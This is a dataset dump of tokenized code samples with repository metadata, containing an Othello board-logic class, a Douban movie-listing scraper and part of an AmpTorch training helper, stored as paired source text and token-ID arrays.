353, 2897, 29889, 2084, 29889, 7122, 29898, 16519, 358, 2605, 29892, 26554, 29892, 525, 1579, 5416, 3888, 1495, 13, 1678, 1400, 7201, 5841, 786, 4081, 353, 2897, 29889, 2084, 29889, 7122, 29898, 16519, 358, 2605, 29892, 26554, 29892, 13, 462, 462, 4706, 525, 16713, 742, 525, 1627, 786, 29899, 29272, 29889, 845, 1495, 13, 1678, 411, 14965, 29898, 2084, 1125, 13, 4706, 411, 6055, 29898, 25442, 29918, 6194, 29922, 5574, 1125, 13, 9651, 9196, 877, 21174, 497, 282, 2850, 742, 1404, 2433, 2490, 7201, 1495, 13, 9651, 12183, 29889, 3888, 877, 5841, 292, 701, 278, 4918, 7201, 2566, 29889, 1495, 13, 9651, 9196, 29898, 2490, 7201, 5841, 786, 4081, 29892, 1404, 2433, 2490, 7201, 1495, 13, 9651, 9196, 877, 2109, 29914, 4691, 9016, 29914, 1579, 5416, 3888, 525, 13, 462, 525, 5041, 29899, 9803, 1400, 7201, 597, 29914, 1579, 5416, 3888, 742, 1404, 2433, 1579, 5416, 3888, 1495, 13, 2 ]
games/OthelloLogic.py
Matioz/AlphaZero
1
1612502
<filename>games/OthelloLogic.py ''' Author: <NAME> Date: Feb 8, 2008. Board class. Board data: 1=white, -1=black, 0=empty first dim is column , 2nd is row: pieces[1][7] is the square in column 2, at the opposite end of the board in row 8. Squares are stored and manipulated as (x,y) tuples. x is the column, y is the row. ''' class Board(): # list of all 8 directions on the board, as (x,y) offsets __directions = [(1, 1), (1, 0), (1, -1), (0, -1), (-1, -1), (-1, 0), (-1, 1), (0, 1)] def __init__(self, n): "Set up initial board configuration." self.n = n # Create the empty board array. self.pieces = [None] * self.n for i in range(self.n): self.pieces[i] = [0] * self.n # Set up the initial 4 pieces. self.pieces[int(self.n / 2) - 1][int(self.n / 2)] = 1 self.pieces[int(self.n / 2)][int(self.n / 2) - 1] = 1 self.pieces[int(self.n / 2) - 1][int(self.n / 2) - 1] = -1 self.pieces[int(self.n / 2)][int(self.n / 2)] = -1 # add [][] indexer syntax to the Board def __getitem__(self, index): return self.pieces[index] def countDiff(self, color): """Counts the # pieces of the given color (1 for white, -1 for black, 0 for empty spaces)""" count = 0 for y in range(self.n): for x in range(self.n): if self[x][y] == color: count += 1 if self[x][y] == -color: count -= 1 return count def get_legal_moves(self, color): """Returns all the legal moves for the given color. (1 for white, -1 for black """ moves = set() # stores the legal moves. # Get all the squares with pieces of the given color. for y in range(self.n): for x in range(self.n): if self[x][y] == color: newmoves = self.get_moves_for_square((x, y)) moves.update(newmoves) return list(moves) def has_legal_moves(self, color): for y in range(self.n): for x in range(self.n): if self[x][y] == color: newmoves = self.get_moves_for_square((x, y)) if len(newmoves) > 0: return True return False def get_moves_for_square(self, square): """Returns all the legal moves that use the given square as a base. That is, if the given square is (3,4) and it contains a black piece, and (3,5) and (3,6) contain white pieces, and (3,7) is empty, one of the returned moves is (3,7) because everything from there to (3,4) is flipped. """ (x, y) = square # determine the color of the piece. color = self[x][y] # skip empty source squares. if color == 0: return None # search all possible directions. moves = [] for direction in self.__directions: move = self._discover_move(square, direction) if move: # print(square,move,direction) moves.append(move) # return the generated move list return moves def execute_move(self, move, color): """Perform the given move on the board; flips pieces as necessary. color gives the color pf the piece to play (1=white,-1=black) """ # Much like move generation, start at the new piece's square and # follow it on all 8 directions to look for a piece allowing flipping. # Add the piece to the empty square. # print(move) flips = [flip for direction in self.__directions for flip in self._get_flips(move, direction, color)] assert len(list(flips)) > 0 for x, y in flips: # print(self[x][y],color) self[x][y] = color def _discover_move(self, origin, direction): """ Returns the endpoint for a legal move, starting at the given origin, moving by the given increment.""" x, y = origin color = self[x][y] flips = [] for x, y in Board._increment_move(origin, direction, self.n): if self[x][y] == 0: if flips: # print("Found", x,y) return (x, y) else: return None elif self[x][y] == color: return None elif self[x][y] == -color: # print("Flip",x,y) flips.append((x, y)) def _get_flips(self, origin, direction, color): """ Gets the list of flips for a vertex and direction to use with the execute_move function """ # initialize variables flips = [origin] for x, y in Board._increment_move(origin, direction, self.n): # print(x,y) if self[x][y] == 0: return [] if self[x][y] == -color: flips.append((x, y)) elif self[x][y] == color and len(flips) > 0: # print(flips) return flips return [] @staticmethod def _increment_move(move, direction, n): # print(move) """ Generator expression for incrementing moves """ move = list(map(sum, zip(move, direction))) #move = (move[0]+direction[0], move[1]+direction[1]) while all(map(lambda x: 0 <= x < n, move)): # while 0<=move[0] and move[0]<n and 0<=move[1] and move[1]<n: yield move move = list(map(sum, zip(move, direction))) #move = (move[0]+direction[0],move[1]+direction[1])
[ 1, 529, 9507, 29958, 29887, 1280, 29914, 29949, 386, 3156, 3403, 293, 29889, 2272, 13, 12008, 13, 13720, 29901, 529, 5813, 29958, 13, 2539, 29901, 26319, 29871, 29947, 29892, 29871, 29906, 29900, 29900, 29947, 29889, 13, 28397, 770, 29889, 13, 28397, 848, 29901, 13, 259, 29896, 29922, 10921, 29892, 448, 29896, 29922, 8517, 29892, 29871, 29900, 29922, 6310, 13, 29871, 937, 3964, 338, 1897, 1919, 29871, 29906, 299, 338, 1948, 29901, 13, 268, 12785, 29961, 29896, 3816, 29955, 29962, 338, 278, 6862, 297, 1897, 29871, 29906, 29892, 13, 268, 472, 278, 11564, 1095, 310, 278, 7613, 297, 1948, 29871, 29947, 29889, 13, 29903, 339, 5114, 526, 6087, 322, 11525, 7964, 408, 313, 29916, 29892, 29891, 29897, 5291, 2701, 29889, 13, 29916, 338, 278, 1897, 29892, 343, 338, 278, 1948, 29889, 13, 12008, 13, 13, 13, 1990, 12590, 7295, 13, 13, 1678, 396, 1051, 310, 599, 29871, 29947, 18112, 373, 278, 7613, 29892, 408, 313, 29916, 29892, 29891, 29897, 1283, 7224, 13, 1678, 4770, 20146, 1953, 353, 17288, 29896, 29892, 29871, 29896, 511, 313, 29896, 29892, 29871, 29900, 511, 313, 29896, 29892, 448, 29896, 511, 313, 29900, 29892, 448, 29896, 511, 13, 462, 1678, 8521, 29896, 29892, 448, 29896, 511, 8521, 29896, 29892, 29871, 29900, 511, 8521, 29896, 29892, 29871, 29896, 511, 313, 29900, 29892, 29871, 29896, 4638, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 302, 1125, 13, 4706, 376, 2697, 701, 2847, 7613, 5285, 1213, 13, 13, 4706, 1583, 29889, 29876, 353, 302, 13, 4706, 396, 6204, 278, 4069, 7613, 1409, 29889, 13, 4706, 1583, 29889, 12343, 778, 353, 518, 8516, 29962, 334, 1583, 29889, 29876, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 29889, 29876, 1125, 13, 9651, 1583, 29889, 12343, 778, 29961, 29875, 29962, 353, 518, 29900, 29962, 334, 1583, 29889, 29876, 13, 13, 4706, 396, 3789, 701, 278, 2847, 29871, 29946, 12785, 29889, 13, 4706, 1583, 29889, 12343, 778, 29961, 524, 29898, 1311, 29889, 29876, 847, 29871, 29906, 29897, 448, 29871, 29896, 3816, 524, 29898, 1311, 29889, 29876, 847, 29871, 29906, 4638, 353, 29871, 29896, 13, 4706, 1583, 29889, 12343, 778, 29961, 524, 29898, 1311, 29889, 29876, 847, 29871, 29906, 29897, 3816, 524, 29898, 1311, 29889, 29876, 847, 29871, 29906, 29897, 448, 29871, 29896, 29962, 353, 29871, 29896, 13, 4706, 1583, 29889, 12343, 778, 29961, 524, 29898, 1311, 29889, 29876, 847, 29871, 29906, 29897, 448, 29871, 29896, 3816, 524, 29898, 1311, 29889, 29876, 847, 29871, 29906, 29897, 448, 29871, 29896, 29962, 353, 448, 29896, 13, 4706, 1583, 29889, 12343, 778, 29961, 524, 29898, 1311, 29889, 29876, 847, 29871, 29906, 29897, 3816, 524, 29898, 1311, 29889, 29876, 847, 29871, 29906, 4638, 353, 448, 29896, 13, 13, 1678, 396, 788, 5159, 2636, 2380, 261, 5877, 304, 278, 12590, 13, 1678, 822, 4770, 657, 667, 12035, 1311, 29892, 2380, 1125, 13, 4706, 736, 1583, 29889, 12343, 778, 29961, 2248, 29962, 13, 13, 1678, 822, 2302, 26023, 29898, 1311, 29892, 2927, 1125, 13, 4706, 9995, 3981, 29879, 278, 396, 12785, 310, 278, 2183, 2927, 13, 4706, 313, 29896, 363, 4796, 29892, 448, 29896, 363, 4628, 29892, 29871, 29900, 363, 4069, 8162, 5513, 15945, 13, 4706, 2302, 353, 29871, 29900, 13, 4706, 363, 343, 297, 3464, 29898, 1311, 29889, 29876, 1125, 13, 9651, 363, 921, 297, 3464, 29898, 1311, 29889, 29876, 1125, 13, 18884, 565, 1583, 29961, 29916, 3816, 29891, 29962, 1275, 2927, 29901, 13, 462, 1678, 2302, 4619, 29871, 29896, 13, 18884, 565, 1583, 29961, 29916, 3816, 29891, 29962, 1275, 448, 2780, 29901, 13, 462, 1678, 2302, 22361, 29871, 29896, 13, 4706, 736, 2302, 13, 13, 1678, 822, 679, 29918, 12018, 29918, 13529, 267, 29898, 1311, 29892, 2927, 1125, 13, 4706, 9995, 11609, 29879, 599, 278, 11706, 16229, 363, 278, 2183, 2927, 29889, 13, 4706, 313, 29896, 363, 4796, 29892, 448, 29896, 363, 4628, 13, 4706, 9995, 13, 4706, 16229, 353, 731, 580, 29871, 396, 14422, 278, 11706, 16229, 29889, 13, 13, 4706, 396, 3617, 599, 278, 25256, 411, 12785, 310, 278, 2183, 2927, 29889, 13, 4706, 363, 343, 297, 3464, 29898, 1311, 29889, 29876, 1125, 13, 9651, 363, 921, 297, 3464, 29898, 1311, 29889, 29876, 1125, 13, 18884, 565, 1583, 29961, 29916, 3816, 29891, 29962, 1275, 2927, 29901, 13, 462, 1678, 716, 13529, 267, 353, 1583, 29889, 657, 29918, 13529, 267, 29918, 1454, 29918, 17619, 3552, 29916, 29892, 343, 876, 13, 462, 1678, 16229, 29889, 5504, 29898, 1482, 13529, 267, 29897, 13, 4706, 736, 1051, 29898, 13529, 267, 29897, 13, 13, 1678, 822, 756, 29918, 12018, 29918, 13529, 267, 29898, 1311, 29892, 2927, 1125, 13, 4706, 363, 343, 297, 3464, 29898, 1311, 29889, 29876, 1125, 13, 9651, 363, 921, 297, 3464, 29898, 1311, 29889, 29876, 1125, 13, 18884, 565, 1583, 29961, 29916, 3816, 29891, 29962, 1275, 2927, 29901, 13, 462, 1678, 716, 13529, 267, 353, 1583, 29889, 657, 29918, 13529, 267, 29918, 1454, 29918, 17619, 3552, 29916, 29892, 343, 876, 13, 462, 1678, 565, 7431, 29898, 1482, 13529, 267, 29897, 1405, 29871, 29900, 29901, 13, 462, 4706, 736, 5852, 13, 4706, 736, 7700, 13, 13, 1678, 822, 679, 29918, 13529, 267, 29918, 1454, 29918, 17619, 29898, 1311, 29892, 6862, 1125, 13, 4706, 9995, 11609, 29879, 599, 278, 11706, 16229, 393, 671, 278, 2183, 6862, 408, 263, 2967, 29889, 13, 4706, 2193, 338, 29892, 565, 278, 2183, 6862, 338, 313, 29941, 29892, 29946, 29897, 322, 372, 3743, 263, 4628, 8424, 29892, 13, 4706, 322, 313, 29941, 29892, 29945, 29897, 322, 313, 29941, 29892, 29953, 29897, 1712, 4796, 12785, 29892, 322, 313, 29941, 29892, 29955, 29897, 338, 4069, 29892, 697, 13, 4706, 310, 278, 4133, 16229, 338, 313, 29941, 29892, 29955, 29897, 1363, 4129, 515, 727, 304, 313, 29941, 29892, 29946, 29897, 13, 4706, 338, 285, 492, 2986, 29889, 13, 4706, 9995, 13, 4706, 313, 29916, 29892, 343, 29897, 353, 6862, 13, 13, 4706, 396, 8161, 278, 2927, 310, 278, 8424, 29889, 13, 4706, 2927, 353, 1583, 29961, 29916, 3816, 29891, 29962, 13, 13, 4706, 396, 14383, 4069, 2752, 25256, 29889, 13, 4706, 565, 2927, 1275, 29871, 29900, 29901, 13, 9651, 736, 6213, 13, 13, 4706, 396, 2740, 599, 1950, 18112, 29889, 13, 4706, 16229, 353, 5159, 13, 4706, 363, 5305, 297, 1583, 17255, 20146, 1953, 29901, 13, 9651, 4337, 353, 1583, 3032, 2218, 11911, 29918, 11631, 29898, 17619, 29892, 5305, 29897, 13, 9651, 565, 4337, 29901, 13, 18884, 396, 1596, 29898, 17619, 29892, 11631, 29892, 20845, 29897, 13, 18884, 16229, 29889, 4397, 29898, 11631, 29897, 13, 13, 4706, 396, 736, 278, 5759, 4337, 1051, 13, 4706, 736, 16229, 13, 13, 1678, 822, 6222, 29918, 11631, 29898, 1311, 29892, 4337, 29892, 2927, 1125, 13, 4706, 9995, 5894, 689, 278, 2183, 4337, 373, 278, 7613, 29936, 285, 492, 567, 12785, 408, 5181, 29889, 13, 4706, 2927, 4076, 278, 2927, 282, 29888, 278, 8424, 304, 1708, 313, 29896, 29922, 10921, 6653, 29896, 29922, 8517, 29897, 13, 4706, 9995, 13, 13, 4706, 396, 18927, 763, 4337, 12623, 29892, 1369, 472, 278, 716, 8424, 29915, 29879, 6862, 322, 13, 4706, 396, 1101, 372, 373, 599, 29871, 29947, 18112, 304, 1106, 363, 263, 8424, 14372, 285, 492, 3262, 29889, 13, 13, 4706, 396, 3462, 278, 8424, 304, 278, 4069, 6862, 29889, 13, 4706, 396, 1596, 29898, 11631, 29897, 13, 4706, 285, 492, 567, 353, 518, 29888, 3466, 363, 5305, 297, 1583, 17255, 20146, 1953, 13, 462, 363, 285, 3466, 297, 1583, 3032, 657, 29918, 20157, 567, 29898, 11631, 29892, 5305, 29892, 2927, 4638, 13, 4706, 4974, 7431, 29898, 1761, 29898, 20157, 567, 876, 1405, 29871, 29900, 13, 4706, 363, 921, 29892, 343, 297, 285, 492, 567, 29901, 13, 9651, 396, 1596, 29898, 1311, 29961, 29916, 3816, 29891, 1402, 2780, 29897, 13, 9651, 1583, 29961, 29916, 3816, 29891, 29962, 353, 2927, 13, 13, 1678, 822, 903, 2218, 11911, 29918, 11631, 29898, 1311, 29892, 3978, 29892, 5305, 1125, 13, 4706, 9995, 16969, 278, 16248, 363, 263, 11706, 4337, 29892, 6257, 472, 278, 2183, 3978, 29892, 13, 4706, 8401, 491, 278, 2183, 11924, 1213, 15945, 13, 4706, 921, 29892, 343, 353, 3978, 13, 4706, 2927, 353, 1583, 29961, 29916, 3816, 29891, 29962, 13, 4706, 285, 492, 567, 353, 5159, 13, 13, 4706, 363, 921, 29892, 343, 297, 12590, 3032, 25629, 29918, 11631, 29898, 12574, 29892, 5305, 29892, 1583, 29889, 29876, 1125, 13, 9651, 565, 1583, 29961, 29916, 3816, 29891, 29962, 1275, 29871, 29900, 29901, 13, 18884, 565, 285, 492, 567, 29901, 13, 462, 1678, 396, 1596, 703, 9692, 613, 921, 29892, 29891, 29897, 13, 462, 1678, 736, 313, 29916, 29892, 343, 29897, 13, 18884, 1683, 29901, 13, 462, 1678, 736, 6213, 13, 9651, 25342, 1583, 29961, 29916, 3816, 29891, 29962, 1275, 2927, 29901, 13, 18884, 736, 6213, 13, 9651, 25342, 1583, 29961, 29916, 3816, 29891, 29962, 1275, 448, 2780, 29901, 13, 18884, 396, 1596, 703, 29943, 3466, 613, 29916, 29892, 29891, 29897, 13, 18884, 285, 492, 567, 29889, 4397, 3552, 29916, 29892, 343, 876, 13, 13, 1678, 822, 903, 657, 29918, 20157, 567, 29898, 1311, 29892, 3978, 29892, 5305, 29892, 2927, 1125, 13, 4706, 9995, 402, 1691, 278, 1051, 310, 285, 492, 567, 363, 263, 12688, 322, 5305, 304, 671, 411, 278, 13, 4706, 6222, 29918, 11631, 740, 9995, 13, 4706, 396, 11905, 3651, 13, 4706, 285, 492, 567, 353, 518, 12574, 29962, 13, 13, 4706, 363, 921, 29892, 343, 297, 12590, 3032, 25629, 29918, 11631, 29898, 12574, 29892, 5305, 29892, 1583, 29889, 29876, 1125, 13, 9651, 396, 1596, 29898, 29916, 29892, 29891, 29897, 13, 9651, 565, 1583, 29961, 29916, 3816, 29891, 29962, 1275, 29871, 29900, 29901, 13, 18884, 736, 5159, 13, 9651, 565, 1583, 29961, 29916, 3816, 29891, 29962, 1275, 448, 2780, 29901, 13, 18884, 285, 492, 567, 29889, 4397, 3552, 29916, 29892, 343, 876, 13, 9651, 25342, 1583, 29961, 29916, 3816, 29891, 29962, 1275, 2927, 322, 7431, 29898, 20157, 567, 29897, 1405, 29871, 29900, 29901, 13, 18884, 396, 1596, 29898, 20157, 567, 29897, 13, 18884, 736, 285, 492, 567, 13, 13, 4706, 736, 5159, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 903, 25629, 29918, 11631, 29898, 11631, 29892, 5305, 29892, 302, 1125, 13, 4706, 396, 1596, 29898, 11631, 29897, 13, 4706, 9995, 3251, 1061, 4603, 363, 11924, 292, 16229, 9995, 13, 4706, 4337, 353, 1051, 29898, 1958, 29898, 2083, 29892, 14319, 29898, 11631, 29892, 5305, 4961, 13, 4706, 396, 11631, 353, 313, 11631, 29961, 29900, 10062, 20845, 29961, 29900, 1402, 4337, 29961, 29896, 10062, 20845, 29961, 29896, 2314, 13, 4706, 1550, 599, 29898, 1958, 29898, 2892, 921, 29901, 29871, 29900, 5277, 921, 529, 302, 29892, 4337, 22164, 13, 9651, 396, 1550, 29871, 29900, 14065, 11631, 29961, 29900, 29962, 322, 4337, 29961, 29900, 29962, 29966, 29876, 322, 29871, 29900, 14065, 11631, 29961, 29896, 29962, 322, 4337, 29961, 29896, 29962, 29966, 29876, 29901, 13, 9651, 7709, 4337, 13, 9651, 4337, 353, 1051, 29898, 1958, 29898, 2083, 29892, 14319, 29898, 11631, 29892, 5305, 4961, 13, 9651, 396, 11631, 353, 313, 11631, 29961, 29900, 10062, 20845, 29961, 29900, 1402, 11631, 29961, 29896, 10062, 20845, 29961, 29896, 2314, 13, 2 ]
douban.movie_requests.py
willcod/requests_example
0
34586
<gh_stars>0 import requests, json from bs4 import BeautifulSoup hds=[{'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6'},\ {'User-Agent':'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11'},\ {'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)'}] url_hot='https://movie.douban.com/j/search_subjects?type=movie&tag=%E7%83%AD%E9%97%A8&page_limit=50&page_start=0' url_highrate = 'https://movie.douban.com/j/search_subjects?type=movie&tag=%E8%B1%86%E7%93%A3%E9%AB%98%E5%88%86&page_limit=50&page_start=0' response = requests.get(url_highrate, headers=hds[1]) # print(response.text) data = json.loads(response.text); items = data['subjects'] for item in items[:]: print(item["title"] + ' ' + item['url']) if False: movie_resp = requests.get(item['url'], headers=hds[0]) #print(movie_resp.text); soup = BeautifulSoup(movie_resp.text, 'html.parser') div = soup.select('strong.ll.rating_num')[0] print(div.text)
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 5215, 7274, 29892, 4390, 13, 3166, 24512, 29946, 1053, 25685, 29903, 1132, 13, 13, 29882, 6289, 11759, 10998, 2659, 29899, 19661, 22099, 29924, 2112, 2911, 29914, 29945, 29889, 29900, 313, 7685, 29936, 501, 29936, 3852, 405, 29911, 29871, 29953, 29889, 29896, 29936, 427, 29899, 3308, 29936, 364, 29894, 29901, 29896, 29889, 29929, 29889, 29896, 29889, 29953, 29897, 1879, 27604, 29914, 29906, 29900, 29900, 29929, 29896, 29906, 29900, 29896, 14418, 29914, 29941, 29889, 29945, 29889, 29953, 29915, 7570, 13, 10998, 2659, 29899, 19661, 22099, 29924, 2112, 2911, 29914, 29945, 29889, 29900, 313, 7685, 405, 29911, 29871, 29953, 29889, 29906, 29897, 12113, 3609, 13117, 29914, 29945, 29941, 29945, 29889, 29896, 29896, 313, 29968, 7020, 29892, 763, 1879, 27604, 29897, 10228, 29914, 29896, 29955, 29889, 29900, 29889, 29929, 29953, 29941, 29889, 29896, 29906, 24544, 29914, 29945, 29941, 29945, 29889, 29896, 29896, 29915, 7570, 13, 10998, 2659, 29899, 19661, 2396, 525, 29924, 2112, 2911, 29914, 29945, 29889, 29900, 313, 23712, 29936, 341, 5425, 29923, 29871, 29896, 29900, 29889, 29900, 29936, 3852, 405, 29911, 29871, 29953, 29889, 29906, 29936, 1605, 1693, 29914, 29953, 29889, 29900, 16029, 6525, 13, 13, 2271, 29918, 8711, 2433, 991, 597, 27362, 29889, 29881, 283, 2571, 29889, 510, 29914, 29926, 29914, 4478, 29918, 16009, 29879, 29973, 1853, 29922, 27362, 29987, 4039, 16328, 29923, 29955, 29995, 29947, 29941, 29995, 3035, 29995, 29923, 29929, 29995, 29929, 29955, 29995, 29909, 29947, 29987, 3488, 29918, 13400, 29922, 29945, 29900, 29987, 3488, 29918, 2962, 29922, 29900, 29915, 13, 2271, 29918, 29882, 335, 1092, 403, 353, 525, 991, 597, 27362, 29889, 29881, 283, 2571, 29889, 510, 29914, 29926, 29914, 4478, 29918, 16009, 29879, 29973, 1853, 29922, 27362, 29987, 4039, 16328, 29923, 29947, 29995, 29933, 29896, 29995, 29947, 29953, 29995, 29923, 29955, 29995, 29929, 29941, 29995, 29909, 29941, 29995, 29923, 29929, 29995, 2882, 29995, 29929, 29947, 29995, 29923, 29945, 29995, 29947, 29947, 29995, 29947, 29953, 29987, 3488, 29918, 13400, 29922, 29945, 29900, 29987, 3488, 29918, 2962, 29922, 29900, 29915, 13, 5327, 353, 7274, 29889, 657, 29898, 2271, 29918, 29882, 335, 1092, 403, 29892, 9066, 29922, 29882, 6289, 29961, 29896, 2314, 13, 29937, 1596, 29898, 5327, 29889, 726, 29897, 13, 1272, 353, 4390, 29889, 18132, 29898, 5327, 29889, 726, 416, 13, 7076, 353, 848, 1839, 16009, 29879, 2033, 13, 1454, 2944, 297, 4452, 7503, 5387, 13, 1678, 1596, 29898, 667, 3366, 3257, 3108, 718, 525, 525, 718, 2944, 1839, 2271, 11287, 13, 1678, 565, 7700, 29901, 13, 4706, 14064, 29918, 13713, 353, 7274, 29889, 657, 29898, 667, 1839, 2271, 7464, 9066, 29922, 29882, 6289, 29961, 29900, 2314, 13, 4706, 396, 2158, 29898, 27362, 29918, 13713, 29889, 726, 416, 13, 4706, 22300, 353, 25685, 29903, 1132, 29898, 27362, 29918, 13713, 29889, 726, 29892, 525, 1420, 29889, 16680, 1495, 13, 4706, 1933, 353, 22300, 29889, 2622, 877, 1110, 29889, 645, 29889, 29741, 29918, 1949, 29861, 29900, 29962, 13, 4706, 1596, 29898, 4563, 29889, 726, 29897, 2 ]
Clusters/GRAMS/programs.py
anywallsocket/Fancy
1
129565
<filename>Clusters/GRAMS/programs.py #!/usr/bin/env python3 #Mini Library of useful functions -- most algorithms are in-place import numpy as np from scipy.stats import gaussian_kde import matplotlib.pyplot as plt from ase.db import connect from amptorch import AtomsTrainer from amptorch import AMPtorch import torch def myprint(*kargs): s = '' for a in kargs: s=s+' '+str(a) with open('output', 'a') as f: f.write(s+'\n') def myplot(kind, x, y, iteration): MAE = round(np.mean(np.abs(x-y)),3) line=[np.min(y), np.max(y)] if kind=='energy' or kind=='relax': unit=' (eV)' elif kind=='force': unit=' (eV/A)' else: print('[either energy, forces, or relax]'); return xy = np.vstack([x,y]) z = gaussian_kde(xy)(xy) idx = z.argsort() x, y, z = x[idx], y[idx], z[idx] plt.plot(line, line, c='black', linestyle='dotted', linewidth=0.5, label=' MAE', zorder=3) plt.scatter(x, y, c=z, s=50, alpha=0.5, label=str(MAE), zorder=2) plt.colorbar().set_ticks([]) plt.title(str(iteration)) plt.xlabel('LMP '+kind+unit) plt.ylabel('NN '+kind+unit) plt.legend() plt.grid(zorder=1) if iteration !=0: plt.savefig('PICS/'+kind+str(iteration)+'.png', dpi=200) plt.close() def LoadAmpTorch(kind, iteration): checkpoint = 'checkpoints/NN'+str(iteration-1) config = torch.load(checkpoint+'/config.pt') if iteration > 0: config['optim']['force_coefficient'] = int(10/iteration) config['cmd']['identifier'] = 'LMP'+str(iteration) if kind == 'old': config['cmd']['logger'] = False else: config['cmd']['logger'] = False torch.save(config, checkpoint+'/config.pt') if kind == 'old': trainer = AtomsTrainer() trainer.load_pretrained(checkpoint) calc = AMPtorch(trainer) return calc if kind == 'new': #load new images data = 'DBs/train'+str(iteration)+'.db' db = connect(data) images = [] for i in range(len(db)): images.append(db.get_atoms(id=i+1)) if (len(images)==0): print('empty atoms object'); exit(1) config['dataset']['raw_data'] = images trainer = AtomsTrainer(config) return trainer else: print('kind must be new or old'); exit(1) def write_train(iteration): #Sort and prune for bad images / duplicates work = connect('DBs/working.db') train = connect('DBs/train'+str(iteration)+'.db') energies = [] for i in range(len(work)): energies.append(work.get_atoms(id=i+1).get_potential_energy()) indexsort = np.argsort(energies) uniqeindexsort = np.unique(np.round(np.sort(energies), 3), return_index=True)[1] #Filter edge cases for i in uniqeindexsort: c = work.get_atoms(id=int(indexsort[int(i)])+1) #skip any positions outside the box (Ang) pos = c.positions for j in pos: for k in j: if k <= 0 or k >= 20: break else: continue break #skip unstable structures (eV) else: if c.get_potential_energy() < -10 and c.get_potential_energy() > -50: train.write(c) myprint(len(train), 'images written to train.db') ###
[ 1, 529, 9507, 29958, 6821, 504, 414, 29914, 29954, 4717, 4345, 29914, 8860, 29879, 29889, 2272, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 29937, 29924, 2172, 9538, 310, 5407, 3168, 1192, 1556, 14009, 526, 297, 29899, 6689, 13, 13, 5215, 12655, 408, 7442, 13, 3166, 4560, 2272, 29889, 16202, 1053, 330, 17019, 29918, 29895, 311, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 3166, 263, 344, 29889, 2585, 1053, 4511, 13, 3166, 626, 415, 25350, 1053, 2180, 4835, 5323, 4983, 13, 3166, 626, 415, 25350, 1053, 319, 3580, 7345, 305, 13, 5215, 4842, 305, 13, 13, 1753, 590, 2158, 10456, 29895, 5085, 1125, 13, 1678, 269, 353, 6629, 13, 1678, 363, 263, 297, 413, 5085, 29901, 269, 29922, 29879, 23097, 525, 29974, 710, 29898, 29874, 29897, 13, 1678, 411, 1722, 877, 4905, 742, 525, 29874, 1495, 408, 285, 29901, 13, 4706, 285, 29889, 3539, 29898, 29879, 29974, 12764, 29876, 1495, 13, 13, 1753, 590, 5317, 29898, 14380, 29892, 921, 29892, 343, 29892, 12541, 1125, 13, 13, 1678, 14861, 29923, 353, 4513, 29898, 9302, 29889, 12676, 29898, 9302, 29889, 6897, 29898, 29916, 29899, 29891, 8243, 29941, 29897, 13, 1678, 1196, 11759, 9302, 29889, 1195, 29898, 29891, 511, 7442, 29889, 3317, 29898, 29891, 4638, 13, 1678, 565, 2924, 1360, 29915, 27548, 29915, 470, 2924, 1360, 29915, 27480, 2396, 5190, 2433, 313, 29872, 29963, 16029, 13, 1678, 25342, 2924, 1360, 29915, 10118, 2396, 5190, 2433, 313, 29872, 29963, 29914, 29909, 16029, 13, 1678, 1683, 29901, 1596, 877, 29961, 29872, 2121, 5864, 29892, 8249, 29892, 470, 26681, 29962, 2157, 736, 13, 1678, 921, 29891, 353, 7442, 29889, 29894, 1429, 4197, 29916, 29892, 29891, 2314, 13, 1678, 503, 353, 330, 17019, 29918, 29895, 311, 29898, 3594, 5033, 3594, 29897, 13, 1678, 22645, 353, 503, 29889, 5085, 441, 580, 13, 1678, 921, 29892, 343, 29892, 503, 353, 921, 29961, 13140, 1402, 343, 29961, 13140, 1402, 503, 29961, 13140, 29962, 13, 1678, 14770, 29889, 5317, 29898, 1220, 29892, 1196, 29892, 274, 2433, 8517, 742, 6276, 342, 1508, 2433, 29881, 15048, 742, 1196, 2103, 29922, 29900, 29889, 29945, 29892, 3858, 2433, 14861, 29923, 742, 503, 2098, 29922, 29941, 29897, 13, 1678, 14770, 29889, 1557, 2620, 29898, 29916, 29892, 343, 29892, 274, 29922, 29920, 29892, 269, 29922, 29945, 29900, 29892, 15595, 29922, 29900, 29889, 29945, 29892, 3858, 29922, 710, 29898, 1529, 29923, 511, 503, 2098, 29922, 29906, 29897, 13, 1678, 14770, 29889, 2780, 1646, 2141, 842, 29918, 29873, 7358, 4197, 2314, 13, 1678, 14770, 29889, 3257, 29898, 710, 29898, 1524, 362, 876, 13, 1678, 14770, 29889, 29916, 1643, 877, 29931, 3580, 525, 29974, 14380, 29974, 5441, 29897, 13, 1678, 14770, 29889, 29891, 1643, 877, 10262, 525, 29974, 14380, 29974, 5441, 29897, 13, 1678, 14770, 29889, 26172, 580, 13, 1678, 14770, 29889, 7720, 29898, 29920, 2098, 29922, 29896, 29897, 13, 1678, 565, 12541, 2804, 29900, 29901, 14770, 29889, 7620, 1003, 877, 2227, 9295, 29914, 18717, 14380, 29974, 710, 29898, 1524, 362, 7240, 4286, 2732, 742, 270, 1631, 29922, 29906, 29900, 29900, 29897, 13, 1678, 14770, 29889, 5358, 580, 13, 13, 1753, 16012, 29909, 1526, 29911, 25350, 29898, 14380, 29892, 12541, 1125, 13, 13, 1678, 1423, 3149, 353, 525, 3198, 9748, 29914, 10262, 18717, 710, 29898, 1524, 362, 29899, 29896, 29897, 13, 1678, 2295, 353, 4842, 305, 29889, 1359, 29898, 3198, 3149, 23097, 29914, 2917, 29889, 415, 1495, 13, 268, 13, 1678, 565, 12541, 1405, 29871, 29900, 29901, 13, 4706, 2295, 1839, 20640, 16215, 10118, 29918, 1111, 8462, 2033, 353, 938, 29898, 29896, 29900, 29914, 1524, 362, 29897, 13, 4706, 2295, 1839, 9006, 16215, 25378, 2033, 353, 525, 29931, 3580, 18717, 710, 29898, 1524, 362, 29897, 13, 4706, 565, 2924, 1275, 525, 1025, 2396, 2295, 1839, 9006, 16215, 21707, 2033, 353, 7700, 13, 4706, 1683, 29901, 2295, 1839, 9006, 16215, 